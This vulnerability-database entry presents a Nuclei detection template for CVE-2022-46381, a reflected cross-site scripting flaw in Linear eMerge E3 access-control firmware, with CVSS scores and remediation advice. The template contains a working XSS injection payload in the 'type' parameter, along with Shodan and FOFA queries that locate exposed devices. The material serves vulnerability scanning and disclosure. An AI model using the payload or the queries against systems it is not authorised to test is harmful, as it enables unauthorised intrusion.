Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2022-46381
HistoryDec 24, 2022 - 8:06 a.m.

Linear eMerge E3-Series - Cross-Site Scripting

2022-12-2408:06:22
ProjectDiscovery
github.com
5
cve
xss
emerge
linear
niceforyou

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

0.001 Low

EPSS

Percentile

41.8%

Linear eMerge E3-Series devices contain a cross-site scripting vulnerability via the type parameter, e.g., to the badging/badge_template_v0.php component. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site and thus steal cookie-based authentication credentials and launch other attacks. This affects versions 0.32-08f, 0.32-07p, 0.32-07e, 0.32-09c, 0.32-09b, 0.32-09a, and 0.32-08e.
id: CVE-2022-46381

info:
  name: Linear eMerge E3-Series - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    Linear eMerge E3-Series devices contain a cross-site scripting vulnerability via the type parameter, e.g., to the badging/badge_template_v0.php component. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site and thus steal cookie-based authentication credentials and launch other attacks. This affects versions 0.32-08f, 0.32-07p, 0.32-07e, 0.32-09c, 0.32-09b, 0.32-09a, and 0.32-08e.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patch or update provided by the vendor to fix the XSS vulnerability in the Linear eMerge E3-Series.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-46381
    - https://github.com/omarhashem123/Security-Research/blob/main/CVE-2022-46381/CVE-2022-46381.txt
    - https://nvd.nist.gov/vuln/detail/CVE-2022-46381
    - https://github.com/amitlttwo/CVE-2022-46381
    - https://github.com/k0mi-tg/CVE-POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-46381
    cwe-id: CWE-79
    epss-score: 0.00099
    epss-percentile: 0.39871
    cpe: cpe:2.3:o:niceforyou:linear_emerge_e3_access_control_firmware:0.32-07e:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: niceforyou
    product: linear_emerge_e3_access_control_firmware
    shodan-query:
      - http.html:"Linear eMerge"
      - http.html:"linear emerge"
    fofa-query: body="linear emerge"
  tags: cve,cve2022,xss,emerge,linear,niceforyou

http:
  - method: GET
    path:
      - '{{BaseURL}}/badging/badge_template_v0.php?layout=1&type="/><svg/onload="alert(document.domain)"/>'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '<svg/onload="alert(document.domain)"/>'
          - 'Badging Template'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022050dfe336047970686ede9528ec1729c90a6b9260959da94ac7dd4fea35729bc2022100b0ab0f188a6ffa9933143380a507a45ca61878a6855a8554952607c01d80fa2d:922c64590222798bb761d5b6d8e72950

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

0.001 Low

EPSS

Percentile

41.8%

Related for NUCLEI:CVE-2022-46381